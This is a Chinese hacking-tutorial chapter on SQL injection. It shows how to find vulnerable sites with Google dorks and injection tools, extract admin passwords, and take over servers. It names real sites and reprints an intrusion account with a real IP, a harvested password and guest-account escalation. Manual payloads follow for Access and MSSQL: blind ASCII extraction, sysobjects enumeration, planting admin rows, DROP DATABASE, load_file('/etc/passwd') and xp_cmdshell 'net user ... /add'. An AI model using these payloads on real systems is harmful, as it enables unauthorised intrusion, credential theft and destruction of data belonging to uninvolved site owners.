要注入的第一步就是首先得到网站存在SQL注入的网址来,如果我们并不是要专门去渗透某一个网站,也就是没有目的的入侵,那么就可以使用google hack技术来批量取得存在注入的网站,我们可以先在google里输入inurl:asp?id=这样类似的代码搜索ASP的网站。我们分别用啊D和Domain来说说这两种方法。对于啊D,我们先点击主界面的“扫描注入点”,然后在“检测网址”里输入http://www.google.com,而要打开其他检测站点也是一样,只需要把网址改一下就可以了。然后在google里输入“inurl:asp?id=”后搜索后啊D就会自动检测搜索出来的网址是否存在注入漏洞了。而用Domain则是先点击主界面上的“旁注检测”,然后在“当前路径”中输入http://www.google.com,而要打开其他检测站点也是一样,只需要把网址改一下就可以了。然后在里面输入“inurl:asp?id=”后搜索,Domain也会自动检测网页中存在注入的网址。如图2-103和图2-104所示,我这里只用google搜索了四个页面就发现他们检测的结果不一样,啊D检测的比domain要多。而且domian这里有一个不好的地方就是我们这里已经发现了注入点,而当我们在点击搜索的下一页的时候原来的那个注入网址就会被清除,而啊D会保留,这一点可以让我们收集存储注入漏洞的网站时非常的方便。
图2-103 啊D检测到的注入漏洞站点
图2-104 domain检测到的注入站点
上面我们讲的是在没有目的的情况下随便注入的,假设我们现在要某一个特定的站点进行注入攻击,那么第一步还是查找存在注入的网址。我们还是可以用google hack来帮忙的,我们只要输入“site:站点网址 inurl:asp?id=”就可以搜索出特定站点中含有asp?id=的网站了。这里我们还来测试一下他们两个工具对特定站点的注入漏洞扫描能力,我们用图2-103中啊D扫描的到http://zsb.jmu.edu.cn/2j.asp?id=24为例子。我们在google中输入“site:jmu.edu.cn inurl:asp?id=”,这里我就搜索了5个网页,如图2-105和图2-106所示,从图中我们可以清楚的看到,搜索了五个网页后,啊D搜索到5个网址,而domian一个也没有搜索到。而检测到了有注入的网址,我们只需双击一下那个网址就会自动跳到注入的页面上去。
图2-105 啊D对特定网站搜索到结果
图2-106 Domain对特定站点搜索到的结果
通过上面在相同的情况下的对比,不管是无目的的撒网式注入漏洞搜索还是对特定站点注入漏洞的搜索,啊D都是要胜于domian的。如果用工具进行注入的话,我个人强烈建议使用Google Hack+啊D组合。通过上面的学习和对比我们想大家已经学会如何寻找网站的注入漏洞了吧。
有了注入的网址之后我们就要对该网站进行注入攻击了。我们可以直接双击搜索到的存在注入网址。在啊D下我们也可以直接点击主界面上的“SQL注入检测”按钮,然后再“注入连接”中输入我们需要注入的网址;而对于domian我们可以点击主界面菜单中的“SQL注入”,之后在点击“SQL注入猜解检测”按钮,最后在“注入点”处输入需要注入的网址点击“开始检测”按钮就可以开始猜解了。
当我们点击检测按钮之后,啊D和Domain都是首先猜解数据库类型。从前面我们知道对于ASP来说他们的组合几乎全部是ASP+ACCESS和ASP+MSSQL。所以啊D和domian都只提供了ACCESS和MSSQL两种数据库的类型的猜解,如果某个网站采用ASP+MYSQL组合的话,那用工具没办法检测,不过这样的情况非常少,至少我没有见过那个网站会采用这样的组合来搭建网站。虽然他们两个工具都只提供两种数据库的检测,不过显然啊D提供的功能多一些,如图2-107和图2-108所示。啊D还提供连接类型,Domain没有提供。
图2-107 啊D检测数据库
图2-108 Domain检测数据库
检测数据库之后就是成功之后就是要猜解数据库的表名了,在啊D下我们只需点击“检测表段”按钮即可;而在Domain则是点击“猜解表名”按钮即可。这里啊D还多了一个功能,就是如果检测到是MSSQL数据库那么就按下面的“MSSQL专用表段检测”,如果检测到是MSSQL那么我们就可以使用他来猜解了,如图2-109所示。对于Domain这里增加表名很简单,只需要点击添加按钮即可,如图2-110所示。当然啊D也是可以添加,不过所谓麻烦一点,需要点击左边的“设置选项”按钮之后在点“设置”按钮就可以进行相关的添加了,如图2-111所示。
图2-109 啊D的猜解表名
图2-110 Domain的猜解表名
图2-111 啊D对一些设置的添加和删除
猜解完表名之后就是检测这个表中存在的字段了。在啊D下我们点击“检测字段”按钮,而在Domain下我们点击“猜解列名”即可。猜解完了之后就是要猜解字段的内容,不过一般来说一个表中的字段比较多,有的我们并不需要,我们只需要选一些猜解就可以了。啊D和Domain都提供了选择猜解字段的功能,如图2-112所示,在猜解内容之前需要选择需要猜解的内容,如果要猜解哪个字段,只需要把其前面的复选框选上就可以了。在图2-112中,我只选择adminname和adminpass两个字段,而id字段的内容没有必要猜解,我们需要的是管理员的名字和密码。
图2-112 选择需要猜解的内容
我们选择了需要猜解的内容之后,对于啊D我们点击“检测内容”按钮就可以对内容进行猜解了,Domain则点击“猜解内容”按钮即可。这两个工具对猜解的内容都提供了比较详细的显示。
在猜解网站后台数据库中信息的时候,他们的猜解能力还是有一些差别的,经过我长期的使用和做比较发现Domain的猜解能力要比啊D强,如图2-113和图2-114就是对上面的那个网站猜解的结果。啊D没有把管理员的名称给猜解出来,而Domain猜出来了;而且在猜解速度方面Domain还要快一些。所以建议在猜解后台数据库信息的时候用Domain来猜解。
图2-113 啊D对网站管理员密码的猜解结果
图2-114 Domain对网站后台管理员密码的猜解结果
有了网站管理员的密码当然下一步是要得到网站的后台地址了。在前面我们已经多次提到了利用Google Hack来找网站后台,这里就不多讲了。啊D和Domain都提供了网站后台查找的功能。啊D的后台只需要点击主菜单下的“管理入口检测”按钮,然后把需要检测网站后台填入即可了,如图2-115。而对于Domain则在“SQL注入”菜单下点击“管理入口扫描”即可,如图2-116所示。这两个工具对后台的检测都是通过添加后台地址来进行的,所以基本上这个功能他们是一样的,没什么区别。
图2-115 啊D对后台的检测
图2-116 Domain对后台的检测
通过上面的讲解,我想大家对注入的基本步骤和两种注入工具的基本使用方法都已经初步的认识了,相信也知道怎么去查找网站的注入漏洞并对进行注入了。在得到网站的密码和后台后就是登陆网站后台了,那么这个时候网站就被你控制了,当然大多数的情况下我们并不满足于这样情况,很多时候还利用各种方法和技术来得到webshell,不过这些方法和技巧在后面我会给大家讲解,这里的学习目的是要让大家对注入攻击有初步的认识。如果大家仔细看2-114就会发现上面我们演示的是ACCESS数据库的注入攻击。其实在注入攻击中最好玩的还要算是MSSQL注入了,跟ACCESS数据库一样,MSSQL数据库的注入也是先经过注入工具的“扫描——>检测”后再去读取数据库中的信息,但是对于MSSQL注入而言,这显然没什么诱惑力,因为MSSQL的注入还可以做很多事情。
如果网站的后台数据库是MSSQL而又存在注入的话,注入工具一般都会显示如图2-117这样的结果,因为MSSQL比ACCESS强大的很多,这点在第一章就给大家讲的很清楚了。在图2-117可以看到ACCESS数据库与MSSQL数据库返回的结果的不同。在MSSQL中写出了当前的数据库名、连接账号及权限等信息。如果是MSSQL数据库那对于数据库方面的操作我给大家推荐NBSI2这个工具来入侵。这里我检测到了一个网站是具有SA(System Administrator)权限,比系统管理员权限还大,所以到这一步我们根本就不用去扫描网站后台管理员的密码了,因为有更好玩的了。如果遇到了台SA权限且它为空口令或为弱口令的服务器,那么我们可以利用SQL连接器连接该服务器,如图2-118所示,我们填上服务器的IP,用户名Sa密码为空,点击连接就可以连接上去了。接下来就是利用DOS命令添加管理员了,然后在开一个3389或者telnet,最后就是登陆远程主机了,那么我们就得到了一台肉鸡了。
图2-117 MSSQL数据库信息
图2-118 SQL连接器连接
如果没有弱口令怎么办呢?我们还可以NBSI2自带的一个功能来执行我们的命令。目前要遇到一个存在空口令的MSSQL还不是很常见,大多数都是需要密码的。如果用NBSI2扫描到了当前数据库用户是具有SA权限的,这个时候我们可以Nbcommander命令执行器来执行命令。选择“扫描及工具”——>“Nbcommander命令执行器”,之后我们就进入了Nbcommander命令执行器的界面了,如图2-119所示。在“注入地址”中输入注入点连接,并选择注入类型,然后选上“尝试回显结果”和“执行DOS命令”,并在“命令”中输入执行的系统命令。比如这里我要看服务器开启了什么系统服务,就输入“netstar -an”点“执行”就可以看到服务器上的服务了。在里面我们可以执行很多DOS命令,如果很多入门的朋友不懂DOS命令也没有关系,NBSI2已经为你们想到了这一点。当我们点击“执行DOS命令”的时候就会弹出一个小的页面,上面有一些简单的DOS命令,如图2-120所示。dir命名就是遍历改盘下所有的文件和文件夹,比如dir c:\就是遍历C盘下所有的文件和文件夹。对于更多的DOS命令我这里就不多讲了,更多更详细的DOS请看光盘中已经为大家收录了DOS命令方面的电子书。当然我们还可以点击“SQL语句”后同样会弹出常用的SQL命令了,如图2-121所示。上面的语句是MSSQL的一些存储过程,在后面会详细给大家介绍。
图2-119 Nbcommander命令执行器
图2-120 DOS常用命令
图2-121 常用的SQL命令
上面我们说的是在SA权限下,如果遇到一台不是SA权限的机器?也没有什么很大的关系,只要它的权限在Public以上,我们就能够遍历服务器上的文件了。这个时候,我们要请出NBSI2的另外一个使用工具“NBTreelist”了,这是从“扫描工具”中打开“NBTreelist”,如图2-122所示。
图2-122 NBTreelist
把右边的“文件”和“文件夹”都选上,然后在“输入路径”中输入要查看的磁盘路径。点击列目录,过一下就可以看到服务器上的目录,我们可以查看服务器上安装了什么软件、数据库在哪里等信息,这些有时候对我们得到webshell和提升权限非常有用。工具的介绍就介绍到这里了,下面引用由elin写的《入侵江苏互联星空教育频道》文章让大家更加明白如何利用工具,增加大家的实践经验。
入侵江苏互联星空教育频道
本人是一名教师,在工作之余常去一些教育网站看一看。装了宽带以后,当然要去看看互联星空了,里面有个教育频道我自然是要去的。这一去,就发现了问题,获得了主机权限。
教育频道的地址是http://education.js.chinavnet.com/,出问题的是里面的“精英教育”版块http://jyedu.js.chinavnet.com/,如图2-123所示。
图2-123 存在注入版块
用啊D注入工具扫描了一下,发现了该站存在注入点:http://jyedu.js.chinavnet.com/teac/teac.aspx?TEAC_ID=147,如图2-124所示。
图2-124 发现注入点
于是进行注入检测,分析得到的数据库类型为“Access或其它数据库”
,如图2-125所示。
图2-125 网站后台数据库为ACCESS
检测表段,没有找到,也无法进行其它功能的运用,如图2-126所示。
图2-126 不能执行其他功能
感觉很这样的大网站不应该用的是Access数据库,工具应该是识别错误了,于是换用著名的NBSI工具进行注入分析,如图2-127所示,得到了真实的情况,是用了SQLServer数据库,当前库是BMUCP_EDU_XKTC,还是SA权限。用NBSI的NB Commander和Treelist工具试试命令和目录显示,没有成功。猜解得管理员帐号和密码共有5组,其中帐号:ahong2008 密码:!!@@##%的一组ID最靠前,应该有最大的权限。
图2-127 利用NBSI发现为SQL Server数据库
下面去找后台登录,用工具都没找到,但提示admin目录是存在的,也就是说目录是对的,但文件名不确定,手动也试了几个,因它用的是asp.net写的,所以是aspx文件,怪不得工具都没找到,最后找到了是admin/login.aspx,用刚才得到的帐号和密码试登录,OK。如图2-128和图2-129所示。
图2-128 找到网站后台
图2-129 登陆网站后台
看了一下,后台没有什么可以利用的。怎么来得到webshell以及主机权限呢?
思考了一下,刚才不是有SA权限吗,何不直接连接SQL数据库试试能不能运行命令,密码就用这“!!@@##%”来试试(我想管理员有可能会用同一个密码吧),通过ping得到IP地址为:61.155.9.205。下面我们来连接,服务器名称/IP:61.155.9.205用户名:SA,密码:!!@@##%,数据库名称:BMUCP_EDU_XKTC,连接成功。如图2-130所示。
图2-130 利用弱口令连接SQL Server数据库
利用该工具,发现可以执行任意命令,于是执行以下命令激活guest用户并加入administrators组。
Net user guest /active (激活 guest 用户)
Net user guest guest (将guest用户密码设为guest)
Net localgroup administrators guest /add (将guest用户加入administrators组)
用Net localgroup administrators检查,guest已经成功加入。如图2-129所示。
图2-131 执行命令添加管理员
现在我们就可以用guest这一管理员帐户来登录这台服务器了,此前我已扫描过,服务器是开着3389终端服务的,成功。如图2-132所示。
图2-132 远程登陆到主机
到此,已经得到最高权限,做什么都可以了,这么大的网站,不敢乱动,下面的事就是清理痕迹,写封信给管理员,走人。
总结一下,这次入侵没什么新的技术,还带点运气的色彩。
两点收获:1、不要轻信某一个工具,工具也会有出错的时候,利用几个工具配合使用,发挥各自长处,往往能做得更好;
2、一般管理员可能在很多地方使用同一个密码,往往在比较薄弱的地方获得以后,一通百通,这就是社会工程学的运用吧。
2. PHP下的注入工具的使用
下面给大家介绍PHP环境下的注入工具的使用,因为我个人比较喜欢CASI,所以这里用CASI来做为例子说明。首先我们打开HDSI的主页面,如图1-133所示。
图1-133 CASI的主界面
在目前全世界的PHP网站中,几乎全部是PHP+MySQL组合,所以PHP注入工具在对MySQL数据库的检测、入侵方面做的很好,其他数据库并不太支持,不过也没必要。至少从我的经验来说不要,因为没看到过哪个网站是PHP+MSSQL的组合。我们来看看CASI的主界面,注射url就是我们要进行注入攻击的网站的URL地址。判断字符一般我们按照默认就可以了,不需要动。程序信息就是进行注入攻击所显示的信息,如提交的数据等等。软件登陆则是用于会员登陆的,一般我们那个不用,因为不是会员也不会有功能限制。
下面我们来利用这个工具进行入侵一下网站看看,这里我通过google黑客找到了http://training2.cyol.com/expert/teacher.php?id=882它存在注入漏洞,我们把这个URL放入到注射url中,点击字段扫描,这个时候CASI就会弹出更大的页面,如图2-134所示。
图2-134 用CASI注射时的界面
在“程序信息”中,显示的都是我们在进行注射时的注射代码,每一个步骤的代码都可以看到,所以“程序信息”里返回的数据可以非常方便我们进行手工注入的学习。
图中还有一个“暴代码”的功能,它是利用的一个叫load_file()的函数读取我们服务端文件的源代码,在后面讲手工注入的时候会向大家提及。用工具时,我们先要填上loadfile的插入位置,其实就是一些数字。而目标文件path就是我们要读取的文件了,比如默认是D:\starkun\down\include\config.inc.php,那么当我们点击“确定”按钮时,就会读取这个文件的内容。一般这个功能最常用的就是读取网站或服务器配制文件,因为里面有很多的敏感信息。例如用linux做服务器时,我们提交/etc/passwd的话,那么就可以读取到该linux服务器下的所有密码文件,当然前提是我们现在进行注射时的权限有那么大了。通过改变目标文件path我们可以读取不同的文件,从而得到大量的敏感信息。
通过前面的“字段扫描”,如果顺利的话,我们可以得到网站后台数据库的字段数,同时还有字段名、表名,我们的字段名可以在网页返回的页面中找到。字段扫描成功的话,我们就可以得到字段名、表名。接下来就是要暴管理员的密码,我们填上所得到的字段名、表名及其插入位置,不过这个位置的填写要注意的是不能超过这个数据库的字段数。顺利的话,可以从浏览url中返回的页面中看到管理员的密码,非常的方便,比ASP下的注入快多了。至于浏览返回url页面,CASI提供了四种选择:停止、刷新、后退、前进。
CASI还提供了一个工具箱,我们先来看看“后台扫描”功能,当我们点击时就会自动扫描我们正在注入的网站的后台,如图2-135所示。
图2-135 找到网站的后台地址
Whios查询是根据我们当前所注入的网站的IP地址,然后到网站http://whois.webhosting.info上去查询看这个IP地址上是否还存在于其他的网站,因为毕竟现在大部分网站都是采用的虚拟主机,一个IP地址有很多网站。如果存在很多网站的话,我们还可以采用旁注来进行攻击。
前面我就提了PHP网站的后台数据库绝大多数是MySQL,所以CASI提供了一个mysql数据库连接器,如图2-136所示。
图2-136 mysql数据库连接器
前面我们可以得到了用户名和密码,数据库名也知道了,在填上主机名及端口就可以连接上后台数据库了。如果网站采用的是与数据库分离的话,那么我们可以通过读取网站中数据库的连接文件,从那里得到数据库服务器的IP地址或主机名。还有在连接的时候最好把“使用压缩”选上,利于数据的传输,防止因数据过大导致服务器死机。
上面就是CASI的使用方法了,通过上面的讲解是否觉得已经很简单了呢?利用它来入侵网站基本上都是自动的,我们需要填写的就是字段名、数据库名、读取文件path、插入字段这些了。如果顺利,几分钟就可以搞定一个网站。其他的PHP注射工具我就不在讲了,他们的使用方法大致上都是一样的。
至于JSP为什么不不讲他的工具使用呢,主要的原因是目前国内还没有专门为JSP而开发的注入工具,不过前面已经给大家介绍的CASI和NBSI都支持对JSP的注入,不过NBSI必须是要2.5及以上版本才支持的,反正大家注入的时候用最新版本就是了。因为这两个工具在前面都已经介绍了,所以这里就不在重复,如果大家通过and 1=1、and 1=2发现一个JSP网站存在注入漏洞,那么就可以利用他们来进行注入攻击了,使用方法和前面所讲的是一样的。
俗话说的好“自己动手,丰衣足食”,只用工具永远得不到提高,所以我们还要学会手工注入。对于注入漏洞的攻击其实影响它最大的是网站的后台数据库,所以这里我对手工注入从数据库的角度来分类了。目前网站中使用的最多的数据库要算是ACCESS、SQL Server(MSSQL)、MySQL这三个了。所以这里的手工注入,我就以他们三个数据库来分成三小节,讲述在不同的数据库下不同的注入方法。
1、ACCESS
我们先找到一个类似于http://www.xxx.com/xx.asp?id=xxxx的URL后(用Google Hack搜索),先在这个URL后加上一个单引号,变成http://www.xxx.com/xx.asp?id=x',如果出现错误提示(如图2-137所示),则该网站可能就存在注入漏洞了。然后分别提交http://www.xxx.com/xx.asp?id=x and 1=1和http://www.xxx.com/xx.asp?id=x and 1=2,如果他们两返回的页面不同则就说明存在注入漏洞了,如图2-138和图2-139所示。
图2-137 加了单引号后出现错误
图2-138 加上and 1=1之后页面返回和先前一样
图2-139 加上1=2之后与先前的页面出现不同
存在注入之后就是要判断网站后台数据库的类型,提交http://www.xxx.com/xx.asp?id=x and user>0就可以判断了,如果是ACCESS数据库那么返回的错误里一般会含有“Microsoft JET Database”关键字,如图2-140所示;如果是MSSQL数据库的话返回的错误提示里一般会含有“SQL Server”关键字,如图2-141所示。
图2-140 ACCESS数据库
图2-141 MSSQL数据库
这里开始我们开始讨论ACCESS数据库下的手工注入。本小节这里指的数据库类型是ACCESS。有了数据库类型,下一步就是猜解数据库的表名,猜解表名的语句为在注入点后加上“and exists (select * from 表名)”或者“and exists (select count from 表名)”。我们还是以http://www.xxx.com/xx.asp?id=x为例,如果我猜的这个站的数据库中有个表名为zyh,那就提交http://www.xxx.com/xx.asp?id=x and exists (select * from zyh)。结果返回为错误,如图2-142所示,错误就说明数据库中没有zyh这个表明。那我们在猜一下有没有config这个表名,提交http://www.xxx.com/xx.asp?id=x and exists (select * from config),返回正常,如图2-143所示,说明存在config这个表名。
图2-142不存在zyh这个表名
图2-143 存在config这个表名
一般常见的表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、article_admin、administrator、manager、member、memberlist、user、users、userinfo、user_info、admin_userinfo、userlist、user_list、login、用户、密码、会员、登陆、movie、movies、news、password、clubconfig、config、company、book、art、bbs、dv_admin等等。
猜解完了表名之后就是要猜解表里的列名了,猜解列名的语句是“exists (select 列名 from 表名)”或者“exists (select count(列名) from 表名)”。同样的,如果返回错误就说明这个列不存在,如果返回正常就说明这个列存在。比如我们这里猜解是否有id这个列,则提交http://www.xxx.com/xx.asp?id=x and exists (select id from config),发现返回正常,如图2-144所示。继续猜解,最后发现存在adminname、adminpass、id这三个列。
图2-144 猜解到id这个列
一般常见的列名有:id、adminid、admin_id、adminuser、admin_user、adminuserid、admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、admin_pwd、adminpass、admin_pass、adminpassword、admin_password、administrator、administrators、usr、usr_n、username、usr_name、usrpass、user_pass、password、userpassword、user_password、pwd、userpwd、user_pwd、useradmin、user_admin、p_word、passwd、pass_wd、yonghu、用户、用户名、mima、密码、dw、oklook等等。
猜解完了表名和列名之后,我们就开始猜解列的长度,猜解语句为and (select top 1 len(列名) from 表名)>x,其中x是数字,我们需要变换这个x就是列的长度值。如这里我提交http://www.xxx.com/xx.asp?id=x and (select top 1 len(adminname) from config)>1、>2、>3、>4都返回正常,如图2-145所示,猜到>5时就出现了错误提示,如图2-146所示,这个时候就说明正确的列的长度是为5。
图2-145 猜解列的长度为4
图2-146 猜解列的长度为5
另外,变换top后的数字就可以猜解这个列的第N行长度了,如http://www.xxx.com/xx.asp?id=x and (select top N len(adminname) from config)>x就是猜解adminname列的第N行长度。
当我们猜解完了列的长度后就到最关键地方了,猜解列的内容。一般来说我们只猜解用户名和密码,比如前面我们猜解了adminname、adminpass、id这三个字段,一般我们是需要密码和用户名,所以猜解adminname、adminpass就可以了,id没有必要去猜解。猜解用户名和密码需要用到ASC和Mid这个两个函数。用Mid(列名,N,1)函数截取第N位字符,在用ASC(Mid(列名,N,1))函数得到第N位字符的ASCII码。ASCII码又叫美国信息交换标准码,这个编码可以把一些字母和符号转换成数字,比如a的十进制ASCII码为97十六进制为61,在我们猜解出来的就是十进制ASCII码,我们需要把他转换成正常的符号。这里我给大家提供了一个转换工具,如图2-147所示。
图2-147 ASCII码转换工具
猜解用户名/密码的语句为and (select top 1 asc(mid(列名,列数N,1)) from 表名)>x,top后的数字为该列的第N行,x为ASCII码,列数N就是在这一列中的第几个数字。这里我提交猜解adminname列的第一个数字的ASCII码的值http://www.cctv5.com.cn/TVPLAY.ASP?id=7 and (select top 1 asc(mid(adminname,1,1)) from config)>50,返回正常,继续提交>100返回错误,提交>80返回正常,一直提交到>96正常,提交>97返回错误,这样我们就得到了adminname列的第一行纪录中的第一个字母的ASCII码为97,通过上面的转换工具就可以得到第一个字母为a。最后通过我对adminname和adminpass的猜解后发现他们的ASCII值都为97、100、109、105、110,转换后都为admin,我们在用工具猜解一下以证明其正确性,如图2-148所示,结果是一致的。
图2-148 工具与猜解的结果一致
已经猜解到了密码和用户名里的数据了,对于ASCII猜解这就算结束了。从上面我们可以看到在猜解表名和字段名的时候都是利用一些常见的名字进行配对的,也就是说在这里注入是靠很大的运气。如果表名和字段名都设置的很变态,如管理员用自己的姓名作为表名和字段名的话那我们根本就无法猜解了。还有就是如果发现一个网站采用的是一套比较常见的系统,那么我们还可以把这套系统下载下来从里面的数据库中得到表名和字段名,从而直接猜解出用户名和密码。对于ASP+ACCESS的注入攻击,我们得到用户名和密码也就完成了。如果我们要继续入侵的话,只有进入后台,看能否上传木马或利用一句话木马来得到webshell(具体的过程在2.5节有详细介绍)。
但是对于ASP+MSSQL的注入就不同了。它的注入不仅可以直接暴出表名和库名,还能直接执行一些命令,比如修改数据库、获得shell等等,下面就开始ASP+MSSQL的注入吧。
2、SQL Server(MSSQL)
我们还是以http://www.xxx.com/xxx.asp?id=xx为例子,如果用但引号、and 1=1、and 1=2检测到这个网站有漏洞,加单引号后从返回的错误信息中就可以确定该网站使用的是SQL Server数据库,如图2-148所示。
图2-148 单引号确定后台数据库类型
在得到后台是MSSQL数据库之后确定当前数据库的用户名了,使用and user>0就可以得到,输入http://www.xxx.com/xxx.asp?id=xx and user>0就可以得到当前用户的用户名为xingsheadmin,如图2-150所示。
图2-150 得到了当前用户的用户名
为什么输入and user>0就可以得到当前用户名呢?下面我来给大家解释一下,虽然and user>0很简单,但却包含了SQLServer特有注入方法的精髓。让我们来看看它的含义:首先,前面的语句是正常的,重点在and user>0,因为user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。而这里我们拿一个 nvarchar的值跟int的数的0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar值“abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc正是变量user的值,这样,不废吹灰之力就拿到了数据库的用户名。还有在我们的SQLServer数据库里的用户sa是个等同Adminstrators权限的角色,拿到了sa权限,几乎肯定可以拿到主机的 Administrator了。而我们上面的方法可以很方便的测试出是否是用sa登录,如果是sa登录,那么返回的错误提示是将”dbo”转换成int的列发生错误,而不是”sa”,如图2-151所示。
图2-151 当前用户的权限为SA
在得到当前的用户名之后就是要查询当前用户的数据信息了,利用having 1=1--就可以得到用户数据信息了。我们输入http://www.xxx.com/xxx.asp?id=xx having 1=1--即可,如图2-152所示,其中FORUM_TOPICS.TOPIC_ID就是当前用户的数据信息了。FORUM_TOPICS是表名,而TOPIC_ID为列名。继续猜解拥护数据信息,不过这里的语句稍微有点变化,改成了group by 用户信息 having 1=1--。我们继续提交http://www.xxx.com/xxx.asp?id=xx group by FORUM_TOPICS.TOPIC_ID having 1=1--
可得到一个T_SUBJECT列名,如图2-153所示。继续提交数据,不过这个时候我们已经有了两个列名了,所以提交的数据又有一点变化,为group by 用户信息1,用户信息2 having 1=1--。我们提交http://www.xxx.com/xxx.asp?id=xx group by FORUM_TOPICS.TOPIC_ID , FORUM_TOPICS.T_SUBJECT having 1=1--就可以得到其他的列名了。上面的的方法的原理是在SQL语句中,having 1=1--是与group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名和一个列名。
图2-152 得到FORUM_TOPICS表中的TOPIC_ID列
图2-153 得到FORUM_TOPICS表中的T_SUBJECT列
虽然上面的方法很好,但是只能暴当前表中的列,下面我就教大家如何暴任意表名和列名的方法吧。此方法的相关语句为:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1。其中N就是代表数据库中的第N个表,这里我们来提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1就可以猜解第一个表的表名为D99_REG,如图2-154所示。而我们提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 name from (select top 2 id,name from sysobjects where xtype=char(85)) T order by id desc)>1就可以猜解到第二个表名为shit_tmp,如图2-155所示。
图2-154 当前用户的第一个表名为D99_REG
图2-155 当前用户的第二个表名为shit_tmp
要暴任意表中的任意列的语句为:and (select top 1 col_name(object_id('表名'),N) from sysobjects)>1。这里我们提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 col_name(object_id('D99_REG'),1) from sysobjects)>1就可以暴出D99_REG表中的第一个列名为ID,如图2-156所示;提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 col_name(object_id('D99_REG'),2) from sysobjects)>1就可以暴出第二个列名为Data,如图2-157所示。
图2-156 暴出了第一个列名为ID
图2-157 暴出第二个列名为Data
有列名和表名之后我们就是要暴出数据库中的数据了,这个命令的相关语句为and (select top 1 列名 from 表名 where id=N)>1,其中N代表第N条数据,这里我们提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 username from admin where id=1)>1就可以猜解出admin表中username的第一条数据了,而提交http://www.xxx.com/xxx.asp?id=xx and (select top 1 password from admin where id=1)>1就可以暴出密码了。比起ACCESS注入来是不是方便多了。
前面讲的都是URL的参数都是数字,如http://www.xxx.com/xxx.asp?id=xx中的id是等于一个数字的。这种类型的注入攻击,我们直接在这个数字参数后加上注入攻击的代码就可以了。但是并不是所有的URL中都是以数字来作为参数,还有很多是用是用字符来作为参数的,还有一种是用于搜索功能的,所以它才参数又是不一样。
若URL中的参数是字符的话,假设其URL地址为:http://www.xxx.com/xxx.asp?action=value。这个value就是一个字符,那么对于这样的URL我们要进行注入的话,就要输入http://www.xxx.com/xxx.asp?action=value' and 1=1和http://www.xxx.com/xxx.asp?action=value' and 1=2来判断是否存在注入漏洞了。我们要进行注入的话,比如判断当前的数据库类型,那就应该输入http://www.xxx.com/xxx.asp?action=value' and user>0。它和在数字型注入差不多,但是要在字符后面加上一个单引号然后在后面加上所要进行注入攻击的代码,注意的是单引号和注入攻击代码之间要有一个空格。至于为什么要这样,在第7章的7.3.3节有详细的介绍。
还有一种就是搜索型的注入,这个功能是用到了SQL语句中的模糊查询功能,在第5章会有介绍。一般这个主要用来搜索的,现在很多网站都提供搜索的功能。如果要注入一个网站的搜索,那么就应该输入这样的代码“要搜索的关键字%' and 注入攻击代码”。例如,我们要注入一个网站的搜索的地方,我们选的搜索关键字为a,那么就可以这样进行判断是否存在注入漏洞:a' and 1=1和a' and 1=2。有一前提是我们所要搜索的关键字a必须是可以搜索到信息的,你不要搞一个连网站都搜索不到的关键字就不行。更为详细的介绍可以参考第7章的7.3.2节。
在我们的ACCESS注入中,如果后台密码是经过了MD5加密,而且密码强大很大的话是破解不出来的,而且在ACCESS注入中得到密码一般就结束了。而在SQL注入中还有很多事要做,比如我们在注入的过程中暴出的管理员密码是经过MD5加密的,而我们又无法破解,这个时候我们直接利用SQL注入来修改数据库中的数据,直接把管理员的密码改掉。相关语句为:;update 表名 set 列名='内容' where 条件。如果我们这里提交http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where username= 'zyh',其功能就是把admin表中的username为zyh的密码改为123。这样就实现了对数据库信息的修改。当然我们也可以新添加一个管理员,相关语句为:;insert into 表名 values (内容)--。如果我们这里提交http://www.xxx.com/xxx.asp?id=xx;insert into admin values (zyh,123)--,那么就能够往admin表中添加一个username为zyh、password为123的管理员了。
加入我们得到了一个网站的后台数据库的名称为hack,那么我们执行;drop database hack后,hack数据库不覆存在了,如http://www.xxx.com/xxx.asp?id=xx;drop database hack。
我们还可以提交在URL后面提交and (select @@version)>0来获得数据库版本;可以提交and db_name()>0来获得当前数据库名;提交and user>0获得当前数据库用户名。
除了user可以返回当前数据库名外,还有几个也可以达到类似的的效果,如:SESSION_USER、CURRENT_USER、SYSTEM_USER。
要判断当前数据库的权限,我们可以提交http://www.xxx.com/xxx.asp?id=xx and user>0就可以了,如果返回值为“PUBLIC”那么当前就是PUBLIC权限了。要获得当前数据库名,我们可以提交http://www.xxx.com/xxx.asp?id=xx and db_name()>0就可以了,如果返回的值为“admin”,则当前数据库名为admin。要判断是否支持多句查询,我们可以提交http://www.xxx.com/xxx.asp?id=xx;declare @a int--。要判断是否支持子查询,我们可以输入http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects])>=0。
另外,MSSQL还有很多扩展功能,下面来简单的介绍一下。利用数据库的扩展存储过程(exec master..xp_cmdshell)我们还可以做非常多的事情,利用它我们可以很快地获得一个shell。如比如我们要查看服务器上的C盘的目录,那么我们使用;exec master..xp_cmdshell ' dir c:\ ' 就可以完成这个功能了,我们只需要提交http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell ' dir c:\ ' 。执行之后那么执行这条语句之后就看见C盘根目录下的文件和文件夹了。我们还可以利用它来加一个管理员账号,我们提交http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net user 123 123/add'和http://www.xxx.com/xxx.asp?id=xx;exec master..xp_cmdshell 'net localgroup administrators 123/add'。那么我就往服务器加了一个123的管理员了。其实我们只要在;exec master..xp_cmdshell后加上引号和引号内写入一些DOS命令就都可以执行了,为了解决有一些朋友对DOS命令的不熟悉,在光盘中我已经给大家收录了一本关于DOS命令方面的书了。
